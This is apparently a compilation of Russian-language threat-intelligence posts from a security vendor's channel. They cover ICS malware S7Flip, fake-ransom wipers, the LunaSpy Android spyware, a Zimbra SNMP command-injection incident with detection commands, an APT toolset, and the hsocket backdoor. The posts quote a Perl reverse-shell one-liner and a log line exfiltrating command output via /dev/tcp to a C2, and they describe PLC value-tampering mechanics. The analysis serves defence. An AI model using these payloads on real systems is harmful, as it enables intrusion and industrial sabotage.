OSPLATFORM_TYPE:  x64

OSNAME:  Windows 10

FAILURE_ID_HASH:  {9d54520b-212c-9f3b-ad4b-052c7a9e7f7e}

Followup:     MachineOwner
---------

Дальнейшая эксплуатация уязвимости не представляет сложности.

Хронология раскрытия информации

• 23 сентября 2025 года — производитель был уведомлен об уязвимости и получил технический отчет.
• 25 сентября 2025 года — производитель завершил внутренний анализ и подтвердил наличие уязвимости. Были предоставлены предварительные сроки выпуска исправления и публикации бюллетеня безопасности.
• 26 сентября 2025 года — производитель был уведомлен о планируемом публичном раскрытии информации.
• 13 января 2026 года — были выпущены обновления безопасности и опубликован бюллетень.

e014dadf6d93b312b93e2fc857791c241692da4015da7a24a4d42a946551add2

Наше внимание привлекло сообщение от аккаунта, с которого залили данный сэмпл:

Хм, ICS-вредонос, причем уже с готовым названием S7Flip (то есть нам даже не нужно напрягать свою фантазию, чтобы назвать его)? Звучит интересно! Давайте взглянем, что там внутри.

После закрепления в автозапуске под названием aphp.exe сэмпл начинает собирать адреса устройств в локальной сети — это адреса 192.168.*.*, 10.*.*.* и 172.*.*.*, после чего проверяет на них наличие определенных открытых портов, которые широко используются промышленными устройствами:

• 102 — в основном используют контроллеры Siemens для взаимодействия по протоколу S7Comm или S7Comm+.
• 502 — стандартный порт протокола Modbus TCP; его могут использовать устройства любых производителей.
• 44818 — в основном используют контроллеры Allen-Bradley (Rockwell) для взаимодействия по протоколу EtherNet/IP (CIP).

Подключение к устройствам Allen-Bradley (Rockwell) фактически не работает. Реализация клиента для EtherNet/IP (CIP) отсутствует: ветка переиспользует Siemens-клиент и пытается подключиться по порту 102 как к контроллеру Siemens. С настоящим Allen-Bradley соединение не установится — воздействие на устройства, открывшие только порт 44818, не оказывается вовсе.

Определив нужные устройства, S7Flip подключается к ним и начинает применять один из деструктивных механизмов (или сразу оба).

Механизм 1: «randomize» значений

По S7Comm (порт 102): по очереди обходит блоки DB 1–10; для каждого выбирает случайное смещение 0–99, читает оттуда 4-байтовое целое, прибавляет случайное целое число от −10 до +10 и записывает обратно.

По Modbus TCP (порт 502): выбирает 16-битный holding-регистр по случайному адресу 0–99, читает текущее значение, прибавляет случайное целое число от −10 до +10 и записывает обратно.

Механизм 2: инверсия битов (findAndModifyInputs)

По S7Comm (порт 102): последовательно проходит первые 100 байтов в блоках DB 1–10: читает байт, меняет его младший бит на противоположный и записывает обратно.

По Modbus TCP (порт 502): последовательно проходит однобитовые ячейки записи (coils — дискретные выводы, команды, флаги) в диапазоне 0–255: читает бит, меняет на противоположный и записывает обратно.

Каждое изменение пишется в logs.csv рядом с исполняемым файлом и содержит пять колонок — время, тег, вендор, старое и новое значение.

Помимо данного бинаря, мы также нашли еще один:

88717716e54b35682a28d673764975d439a31ee194c85dfc619a15ea93ab1280

По логике работы он ничем не отличается от рассмотренного ранее образца. Главное отличие заключается в том, что библиотека libmodbus, реализующая работу протокола Modbus, в e014dadf6d93b312b93e2fc857791c241692da4015da7a24a4d42a946551add2 динамически слинкована, а в 88717716e54b35682a28d673764975d439a31ee194c85dfc619a15ea93ab1280 — статически.

В этот же день с этого же аккаунта jeans, помимо e014dadf6d93b312b93e2fc857791c241692da4015da7a24a4d42a946551add2 (название файла — Edge.exe), был залит еще один бинарь:

2c57c1a39933514c63b5a7b585f5948ead04b65e4df96fb595ccda84208c4aa0

При ближайшем рассмотрении он оказался вайпером. При запуске он по-джентльменски спрашивает, не хотите ли вы установить Microsoft Edge:

И если вы отказываетесь, то вайпер прекращает свою работу 😅

Но вот если вы соглашаетесь… то будьте готовы к «непредвиденным обстоятельствам». Вот их список:

• рекурсивное удаление всего содержимого папки %USERPROFILE%\Desktop;
• там же будет создан файл compiled-desktop, который будет содержать ровно 1 048 576 случайных байт;
• ну и, разумеется, файл README.txt с вежливой просьбой перевести биткоины в размере 100 долларов.

После всего этого вредонос добавляет себя в автозапуск.

Расшифровка файлов не предусмотрена: содержимое рабочего стола нигде не сохраняется. Это псевдовымогатель-вайпер.

Самое интересное, что в README.txt указан кошелек, на который злоумышленники предлагают переслать деньги: bc1qp6ejw8ptj9l9pkscmlf8fhhkrrjeawgpyjvtq8 — это официальный кошелек для донатов проекта Bitcoin.org. Т. е. жулики на самом деле не хотят выкупа? Хм, интересно… 🤑

Чуть позже jeans залил еще один вариант данного инструмента — f47502628708300840efe2771a3c5e7e9a631205512f0a2ee6382a00a92056e2, причем на этот раз файл называется не Edge.exe, а Edgev5.exe.

Обозначает ли v5 какое-то развитие или дальнейшее улучшение вредоноса? Да, в новой версии автор добавил симметричное шифрование файлов с помощью AES-256-GCM, а также расширил количество папок для шифрования: теперь помимо Desktop шифрованию подлежат Downloads и Documents. Правда, есть один нюанс… ключ для расшифрования данных находится в файле master_key.dat, да и биткоин-кошелек такой же, как и в более ранней версии вайпера.

По всей видимости, автор вредоноса активно развивает и тестирует свой инструмент. Возможно, в будущем он начнет активно применять его в «боевом» виде.

А какая связь между S7Flip и вайперами? 🧐

В ходе чтения данного поста у вас, возможно, возник вопрос: «а как связаны S7Flip и вайпер между собой?» И на самом деле определенные совпадения есть:

• все бинари были собраны с помощью тулчейна GCC 16.2.0;
• timestamp сборки PE-файлов 88717716e54b35682a28d673769475d439a31ee194c85dfc619a15ea93ab1280 (S7Flip) и 2c57c1a39933514c63b5a7b585f5948ead04b65e4df96fb595ccda84208c4aa0 (Edge.exe) совпадает с точностью до дня — 2026-09-13;
• общий аккаунт, с которого файлы были залиты на MalwareBazaar, — jeans.

Достаточно ли этих данных, чтобы утверждать, что S7Flip и вайперы разработаны одним и тем же автором? Нет, определенные сомнения все равно остаются, но некоторая взаимосвязь все же есть.

IoCs

#malware #win #ioc
@ptescalator

Установив его, мы обнаружили, что при запуске пользователя встречает интерфейс известной программы для управления звонками на Android — Right Dialer от разработчика Goodwy.

Вероятнее всего, выбор злоумышленников пал именно на это приложение, так как оно запрашивает большое количество разрешений: работа с контактами, выполнение звонков, доступ к камере и так далее.

Открыв AndroidManifest.xml, нетрудно увидеть, что основной пакет — com.syscore.toolsuite, а не com.goodwy.dialer. Это означает, что код Goodwy был встроен в чужое приложение — уже известный Android-шпион LunaSpy, более ранняя версия которого была рассмотрена в статье.

Перед статическим исследованием образца мы запустили его в песочнице PT Sandbox, чтобы получить общее представление о работе ВПО:

Ключевые наблюдения из динамического анализа:

• Коммуникация с управляющими серверами
• Получение привилегий
• Создание скрытых файлов

Злоумышленники расширили свой шпион рядом новых команд (как говорится, если используешь Accessibility Service, то используй его по полной):

• GET_CALL_RECORDINGS — отправляет на управляющий сервер список имен файлов, перебирая файлы с расширением .wav, чей размер больше 44 байтов (размер заголовка WAV), в директории getFilesDir()/call_recordings
• DOWNLOAD_CALL_RECORDING — отправляет на управляющий сервер запись звонка с указанным id, закодированную в Base64
• SET_REDIRECT_RULES, GET_REDIRECT_RULES — подмена исходящих звонков согласно полученным с управляющего сервера правилам
• Добавилось больше команд для управления логированием устройства: REQUEST_LOGS, CLEAR_LOGS, LOGGING_ENABLE, LOGGING_DISABLE
• RESET_SOFT, RESET_DEEP, RESET_GLOBAL — перезапуск части или всех вспомогательных сервисов шпиона
• RESET_REBOOT — имитация перезагрузки устройства (при получении — останавливает свои сервисы, отменяет задачи WorkManager, имитирует задержку при загрузке системы (8 секунд), после чего перезапускает сервисы)
• GET_SCREEN_TREE — получить параметры текущего экрана: width, height, объекты на экране, их позиции, текст и свойства
• Сложные команды с параметрами для управления устройством (имитация действий пользователя): PERFORM_TAP (выполнить нажатие на экран), PERFORM_SWIPE (провести по экрану), PERFORM_INPUT_TEXT (выполнить вставку текста), PERFORM_PATH_GESTURE (выполнить жест по заданным позициям с определенной длительностью нажатия), PERFORM_PATTERN_UNLOCK (команда похожа на PERFORM_PATH_GESTURE, однако предназначена для адаптивных паттернов, например, разблокировка по рисунку), PERFORM_BACK (выполнить действие «назад»), PERFORM_HOME (выполнить переход на домашний экран), PERFORM_RECENTS (просмотреть список недавних приложений) — команды, активно использующие функции PerformGlobalAction и механизм GestureDescription
• REVIVE_PERMISSIONS — показывает пользователю уведомление поверх всех окон с целью получения прав android.permission.CAMERA и android.permission.RECORD_AUDIO
• DISABLE_PLAY_PROTECT — отключить глобальную настройку в Android (Settings.Global.PACKAGE_VERIFIER_ENABLE), которая управляет проверкой приложений перед их установкой

Кроме того, ряд строк (например, IP-адреса, названия некоторых команд) шифруется алгоритмом XOR для усложнения анализа.

Вредоносное ПО демонстрирует устойчивую тенденцию к развитию: от простого шпионажа к комплексному контролю устройства с элементами антиобнаружения, масштабируемой инфраструктурой и усовершенствованными методами социальной инженерии. Это требует от пользователей и специалистов по безопасности постоянного повышения уровня защиты и бдительности.

Меры предосторожности:

• Не стоит скачивать приложения с открытым исходным кодом из неизвестных источников, так как их легко видоизменить. Лучше скачивать их из Google Play или брать последний релиз со страницы разработчика.
• Не предоставляйте приложениям разрешения, которые им не потребуются (особенно разрешения Accessibility Service).
• При подозрении на заражение ВПО проверьте список установленных приложений или воспользуйтесь средствами для отслеживания активности.

Файловые индикаторы

Сетевые индикаторы

#malware #android
@ptescalator

Мы помогли Apple устранить уязвимость в ядре ее операционных систем

Эксперт PT ESC Михаил Ложников обнаружил недостаток, который мог вызвать внезапное завершение работы системы (сбой ядра) или повреждение памяти ядра (kernel memory corruption) в продукции компании Apple.

⚠️ Уязвимость PT-2026-76847 (CVE-2026-65330) получила средний уровень критичности — 6.5 по шкале CVSS 3.x.

Делимся подробностями

• Ошибка была обнаружена в BSD-подсистеме сетевого стека XNU (ядра macOS, iOS) в компоненте NECP (Network Extension Control Policy), который управляет правами доступа программ и приложений к сетевым интерфейсам.

• Для взаимодействия с NECP требуется процесс с привилегированными правами, подписанный цифровой подписью (platform-signed).

• При закрытии NECP-сессии ядро корректно освобождает domain-фильтры, но domain-trie (префиксное дерево доменов) остается в глобальном списке с указателем на уже освобожденную память сессии.

• При удалении trie по идентификатору (ID) ядро не проверяет владельца.

• Любая другая сессия может удалить чужое префиксное дерево, вследствие чего может произойти ошибка и ядро вызовет панику.

🍏 Скорее обновляйте ваши устройства

Apple уже выпустила исправление безопасности в iOS/iPadOS 26.6.1, macOS 26.6.2, tvOS 27, watchOS 27 и visionOS 27.

Подробная информация об исправлениях опубликована на официальных страницах Apple: macOS, iOS и iPadOS, tvOS, watchOS и visionOS.

#cve #ir #ios #macos
@ptescalator

При расследовании инцидентов, когда злоумышленники шифруют образы виртуальных машин, нередко возникает ситуация, при которой файловая система повреждается настолько, что штатное монтирование становится невозможным.

Восстановить ее вручную теоретически можно, но это отнимает много времени и сопровождается потерями данных. В таких случаях применяется карвинг — побайтовый поиск сигнатур непосредственно в сыром образе, в обход файловой системы.

❗️ Команда PT ESC IR уделяет приоритетное внимание автоматизации разбора артефактов для последующего обнаружения вредоносной активности — это ускоряет восстановление картины инцидента.

Наш пайплайн преимущественно реализован на Go, поэтому мы разработали собственную библиотеку на том же языке. Она разбирает готовые EVTX-файлы даже при несовпадении контрольных сумм или повреждении файла, а также выполняет карвинг событий из побитовых копий, дампов памяти и образов виртуальных дисков.

О том, что поддается восстановлению и почему одни подходы дают полную структуру записи, а другие — лишь отдельные поля, читайте в нашем материале на Хабре 🫲

#ir #dfir #tip
@ptescalator

Вредоносные файлы с этими расширениями чаще всего встречаются в сетевом трафике компаний. Давайте базово разберемся, почему.

🖥 .exe — классическое расширение исполняемых файлов в Windows: двойной клик — и у вас запускается Fortnite (не осуждаем), браузер, ваш любимый мессенджер, установщик или любая другая программа. А может запуститься и Trojan или какой-нибудь другой вредонос.

Чаще всего вы даже не видите, что у файла именно такое расширение: по умолчанию в Windows включена функция «Скрывать расширения для зарегистрированных типов файлов», из-за чего видно только первую часть имени. И этим пользуются злоумышленники.

Например, они маскируют файл под что-нибудь безобидное: вместо zarplaty_sep_2026.pdf.exe вы увидите просто zarplaty_sep_2026.pdf. Подозрений не вызывает, а интерес пробуждает. Клац-клац — и бамц.

В общем, для самозащиты рекомендуем отключить эту функцию. Делается просто, зато вы всегда будете знать, на что именно кликаете.

📄 .docm и .xlsm — а это знакомые всем офисным работягам расширения документов Microsoft Office. Их часто перекидывают по электронной почте, чатам и флешкам, так что обычно они не вызывают подозрений.

Только что-то тут с последними буквами расширений не так — скажете вы, и будете правы. Вместо x в конце здесь стоит m, а это означает, что такие документы поддерживают макросы — небольшие программы на специальном языке VBA, которые могут выполнять действия внутри документа. Также могут попадаться расширения .dotm и .xltm — это шаблоны документов с поддержкой макросов.

И так же, как с .exe, эти расширения по умолчанию скрыты в наименовании файлов в Windows, поэтому вы просто видите иконку документа и его название.

Макросы — полезная штука, которая помогает автоматизировать рутинные действия в документах (с их помощью энтузиасты даже умудрились запустить DOOM прямо в Word).

Но ими пользуются и злоумышленники: вы открываете вроде бы обычный файл, разрешаете макросы — и на вашем компьютере выполняются заложенные в них команды. Например, они могут запустить системную команду, которая загрузит и запустит другой вредонос.

Так вот, к чему мы это решили объяснить

1️⃣ Внимательно следите за тем, что именно вы запускаете и какие разрешения даете.

2️⃣ Наши эксперты с помощью песочницы PT Sandbox проанализировали вредоносную активность, выявленную PT NAD в сетевом трафике организаций с октября 2025 года по июль 2026 года. И как раз 29% опасных файлов оказались с расширением .exe, а 26% — с расширениями Microsoft Office.

3️⃣ Как вы понимаете, эти файлы — только верхушка айсберга из вредоносов. Ниже в сетях были обнаружены и потенциально опасные инструменты, которые выглядят легитимно, различные вариации архивов и более интересные находки.

О них — в полной версии исследования на нашем сайте.

#malware
@ptescalator

В ходе атак злоумышленники преследуют деструктивные цели, при этом достаточно долго сохраняют присутствие в скомпрометированной инфраструктуре.

При перемещении в инфраструктуре используются преимущественно WinRM (как правило, в сочетании с WinRb) и SSH.

Для закрепления в инфраструктуре используются в основном серверные машины с большим аптаймом (Windows\Linux), закрепление осуществляется посредством сервисов в обоих случаях. В качестве полезных нагрузок используется широкий набор инструментов:

• Агенты для фреймворка merlin.
• Агент на базе reverse_ssh.
• Утилита GoSocks5Proxy на базе go-socks5.
• ReverseProxy — собственная утилита на Rust.
• Бэкдор GoRinet. Использует шифрование конфига с ключом, формируемым на базе физического адреса сетевого адаптера.

🐻 Для совершения деструктивных действий используется разнообразное ПО, в том числе по ряду признаков разработанное с использованием ИИ.

• Вайпер T-Riper для сетевых устройств производства Cisco/Huawei — удаление образов, сброс конфигурации устройства, ребут. Используются в сочетании с bash-скриптами для запуска по удаленным целям.
• Кастомный вайпер для удаленного удаления данных QNAP.
• Для шифрования данных на машинах под управлением ОС Windows используется комплекс ВПО, состоящий из оркестратора (с возможностью отправки отчета о прогрессе шифрования на удаленный C2). Порождение вайперов осуществляется многопоточно, причем отдельные исполняемые файлы создаются с добавлением «мусора» в оверлей для уклонения от обнаружения. Для автоматизированного распространения по сети используются файлы конфигов с указанием известных кредов ранее скомпрометированных УЗ и целевых подсетей.

Также отмечено использование уязвимости CVE-2026-31431 (CopyFail) для повышения привилегий, кастомного инструмента CredsReseter для сброса паролей УЗ Linux-подобных систем и Windows-скриптов для дампа кредов сторонних сервисов.

Рекомендации:

• Осуществить поиск и мониторинг индикаторов компрометации.
• Провести сигнатурное сканирование.
• Обновить ОС.

IoCs

Файловые индикаторы:

Сетевые индикаторы

#ir #dfir #ti #malware #apt #ioc
@ptescalator

Дисклеймер: если вы используете неактуальную версию ПО Zimbra и не обнаружили на своем почтовом сервере приведенных ниже индикаторов компрометации конкретной кампании шифровальщика TargetZimbra, то это не значит, что ваш сервер гарантированно не скомпрометирован. Уязвимость CVE-2026-73570 может использоваться другими злоумышленниками, например, для установки майнеров, а также APT-группировками, нацеленными на компрометацию инфраструктуры всей организации.

Уязвимость CVE-2026-73570 позволяет атакующему осуществлять внедрение и выполнение вредоносных команд на почтовом сервере Zimbra с правами пользователя zimbra без предварительной аутентификации в результате недостаточной санации ввода в компоненте SNMP.

Для успешной эксплуатации на почтовом сервере должна быть установлена версия ПО Zimbra Collaboration Suite ниже 10.1.20, а также установлен пакет zimbra-snmp и включены SNMP-уведомления. Уязвимость эксплуатируется в результате отправки специально сформированного SMTP-запроса через порты 25, 465 или 587.

👀 Сценарий атаки:

1. В результате эксплуатации уязвимости CVE-2026-73570 злоумышленники создают на почтовом сервере файл /opt/zimbra/jetty_base/webapps/zimbra/public/version.txt (или versions.txt), содержащий сведения об используемой на сервере версии ПО Zimbra. Созданный файл является для атакующего индикатором успешной эксплуатации уязвимости.

2. На следующем этапе злоумышленники загружают JSP-шеллы в директорию почтового сервера /opt/zimbra/jetty_base/webapps/zimbra/public/. Кроме того, зафиксировано внедрение на сервер хакерского инструмента Gsocket. Ранее мы уже писали подробную заметку о том, как детектировать инструмент Gsocket.

3. Далее злоумышленники загружают шифровальщик TargetZimbra, написанный на языке Go. После запуска указанный вредоносный модуль шифрует файлы с использованием алгоритма ChaCha20 в каталоге /opt/zimbra/ и его подкаталогах.

4. После шифрования файлов шифровальщик изменяет их расширение на .elock, а также создает в зашифрованных директориях файлы !README_RECOVER.txt, содержащие контактную информацию и сведения для выкупа расшифровки данных. По окончании работы вредоносный модуль TargetZimbra удаляет себя из системы.

📫 Как проверить ваш почтовый сервер Zimbra на предмет наличия признаков компрометации?

1. В основном системном журнале почтовой службы /var/log/maillog записи, содержащие подстроку changed from stopped to, перед которой записана shell-команда или иная подозрительная нагрузка, являются признаком эксплуатации уязвимости CVE-2026-73570.

Для поиска вредоносных событий на вашем сервере может использоваться следующая команда: grep "changed from stopped to" /var/log/maillog

Пример выполнения команды id и передачи ее вывода на С2-сервер злоумышленников:

Aug 29 14:23:46 zimbra-server postfix/submission/smtpd[108829]: improper command pipelining after EHLO from unknown[[REDACTED_IP_1]]: : Service status change: h ;id>/dev/tcp/[REDACTED_IP_2]/1337; changed from stopped to running\r\nQUIT\r\n  

- время эксплуатации уязвимости: 29 августа 2026 года в 14:23:46; 
- [REDACTED_IP_1]: С2 адрес злоумышленников; 
- id>/dev/tcp/[REDACTED_IP_2]/1337: команда для выполнения на системе.

2. Наличие нестандартных JSP-файлов, которые не относятся к ПО Zimbra и были созданы либо изменены за последние месяцы в каталоге /opt/zimbra/jetty_base/webapps/zimbra/ и во всех его подкаталогах. Характерными признаками вредоносных JSP-файлов являются наличие обфусцированного кода, закодированных строк, а также нетипичная обработка GET- и POST-запросов.

Для поиска недавно созданных или измененных JSP-файлов на вашем сервере могут использоваться следующие команды:

find /opt/zimbra/jetty_base/webapps/zimbra/ -type f -iname '*.jsp' -newermt '2026-07-01' (поиск по дате изменения файла)

find /opt/zimbra/jetty_base/webapps/zimbra/ -type f -iname '*.jsp' -newerBt '2026-07-01' (поиск по дате создания файла)

Обратите внимание, что не все файловые системы Linux хранят дату создания файла. Если система не отслеживает указанную метку, то команда find выдаст ошибку.

Также проверьте сервер антивирусными средствами.

3. В журнале доступа WEB-сервера (например, для WEB-сервера Nginx стандартное расположение /var/log/nginx/access.log) записи об обращении к нестандартным JSP-файлам (с кодом ответа 200), расположенным в каталоге /opt/zimbra/jetty_base/webapps/zimbra/ и во всех его подкаталогах (в частности, часто используемый каталог /opt/zimbra/jetty_base/webapps/zimbra/public/), могут свидетельствовать о наличии WEB-shell'ов на почтовом сервере. Если WEB-shell получает команды через GET-запрос, то передаваемая команда будет отображена в журнале.

Пример вывода результата выполнения команды ls в браузер атакующего:

[REDACTED_IP] - - [29/Aug/2026:12:41:35 +0000] GET /public/bzng.jsp?p=ls HTTP/1.0 200 443 - Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 34889  

- [REDACTED_IP]: С2 адрес злоумышленников; 
- [29/Aug/2026:12:41:35 +0000]: время обращения к WEB-shell; 
- public/bzng.jsp: расположение WEB-shell; 
- ls: выполняемая команда.

Кроме того, исследуя сетевую инфраструктуру злоумышленников, мы обнаружили WEB-панели платформы CyberStrikeAI, размещенные на нескольких С2-серверах (скриншоты 1 и 2).

CyberStrikeAI — открытая платформа, предназначенная для автоматизации тестирования на проникновение с использованием ИИ.

Наличие работающей платформы на С2-сервере злоумышленников может указывать на ее применение как на отдельных этапах атаки (например, первоначальной компрометации сервера), так и в рамках всего инцидента.

💡 Рекомендуем:

1. Обновить ПО Zimbra на вашем почтовом сервере до актуальной версии. В идеале также переустановить ОС сервера с переносом всех почтовых данных.

2. В случае невозможности быстрого обновления ПО временным решением может быть отключение SNMP-уведомлений и удаление пакета zimbra-snmp.

3. Кроме того, проверьте почтовый сервер антивирусными средствами, а также вручную посмотрите нестандартные JSP-файлы, созданные за последние месяцы в служебных каталогах Zimbra.

Файловые индикаторы компрометации:

/opt/zimbra/jetty_base/webapps/zimbra/public/version.txt или versions.txt — файл, содержащий версию ПО Zimbra;

/opt/zimbra/jetty_base/webapps/zimbra/public/[Filename].jsp — WEB-shell;

/opt/zimbra/log/defunct — Gsocket;

elockc[a-z] (например, elockcl) — шифровальщик;

runloop.sh — скрипт, создаваемый шифровальщиком;

!README_RECOVER.txt — записка злоумышленников;

*.elock — файлы с расширением .elock.

Сетевые индикаторы компрометации:

135.136.63.63
139.28.49.138
146.70.169.246
193.24.211.91
193.32.126.168
31.177.110.136
37.32.73.156
64.62.156.162
64.62.156.222
64.62.156.94
88.214.21.183
89.116.171.182
89.117.94.35

Gsocket:

*.gs.thc.org
gsocket.io
152.53.173.29
152.53.173.30
176.65.149.52
212.132.98.170
217.154.53.116
217.154.53.187
45.90.4.121
45.90.4.128
51.91.190.241
51.91.190.242

#IR #CVE #Malware #detect #dfir #ioc
@ptescalator

Группа киберразведки экспертного центра безопасности Positive Technologies обнаружила новую группировку, которую мы назвали DENOmination Group.

В 2026 году мы зафиксировали ее активность против российских организаций оборонно-промышленного, военного, финансового и консалтингового секторов.

Ключевая особенность атак — использование легитимной среды выполнения Deno для запуска вредоносного JavaScript/TypeScript-кода. В исследованных цепочках мы наблюдали загрузчик DinDoor, агент удаленного доступа DenoRAT, вредоносные MSI- и LNK-файлы, ротацию C2-инфраструктуры и несколько связанных способов первоначальной доставки.

Пересечения в кодовой базе, конфигурационных параметрах, логике построения цепочек и сетевой инфраструктуре позволили связать наблюдаемые эпизоды с активностью одной группировки.

В исследовании разобрали архитектуру DinDoor и DenoRAT, механизмы закрепления и взаимодействия с C2, инфраструктурные пересечения, TTP и возможную модель использования общей платформы несколькими операторами.

Подробности — в нашем блоге 🦖

#TI #APT #Malware
@ptescalator

В ходе расследования одного из инцидентов специалисты PT ESC IR наткнулись на весьма диковинный инструмент hsocket (не путать с gsocket).

После получения первоначального доступа и установки веб-шелла злоумышленники доставили на скомпрометированный веб-сервер три bash-скрипта.

1️⃣ hsocket — бэкдор, имеющий следующий функционал:

• запуск интерактивной командной оболочки

• запуск эксплойтов для повышения привилегий в Linux-системах (PwnKit, Dirty Pipe, Dirty COW, Netfilter)

• сканирование директории на наличие веб-шеллов и их удаление (вероятно, для очистки следов)

• защита файлов от удаления

• установление reverse shell-соединения с управляющим сервером с помощью кода на Perl:

perl -e "use Socket;\$i=\"$hsHOST\";\$p=$hsPORT;socket(S,PF_INET,SOCK_STREAM,
getprotobyname('tcp'));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){
open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('sh -i');};"

• скачивание и запуск скриптов для поиска ошибок в конфигурации Linux и повышения привилегий (linenum, linpeas)

2️⃣ hfsm — файловый менеджер, который позволяет интерактивно работать с файловой системой: просматривать, редактировать и удалять файлы.

3️⃣ .hsrc — устанавливает полные права на чтение, запись и исполнение файлов hsocket и hfsm, а также создаёт алиасы для запуска данных скриптов.

В рамках данного исследования нам удалось обнаружить статью, написанную на индонезийском языке, в которой было описано данное ВПО.

Что интересно, веб-шелл, установленный на скомпрометированном сервере, также содержал комментарии и строки на индонезийском:

// Fungsi untuk tampilan halaman login
$Warning = "### ⚠️Info!! Terdekteksi Aktivitas Dari";

Сам веб-шелл является модифицированной версией Gecko. Об этом говорят комментарии и характерные строки кода:

//------------------GECKO SHELL, RECODED BY AYANA--------------------//
<!-- Gecko Folder File Manager -->

IoC:

hsocket.io
/tmp/hs-data/

#ir #dfir #detect #ioc #malware
@ptescalator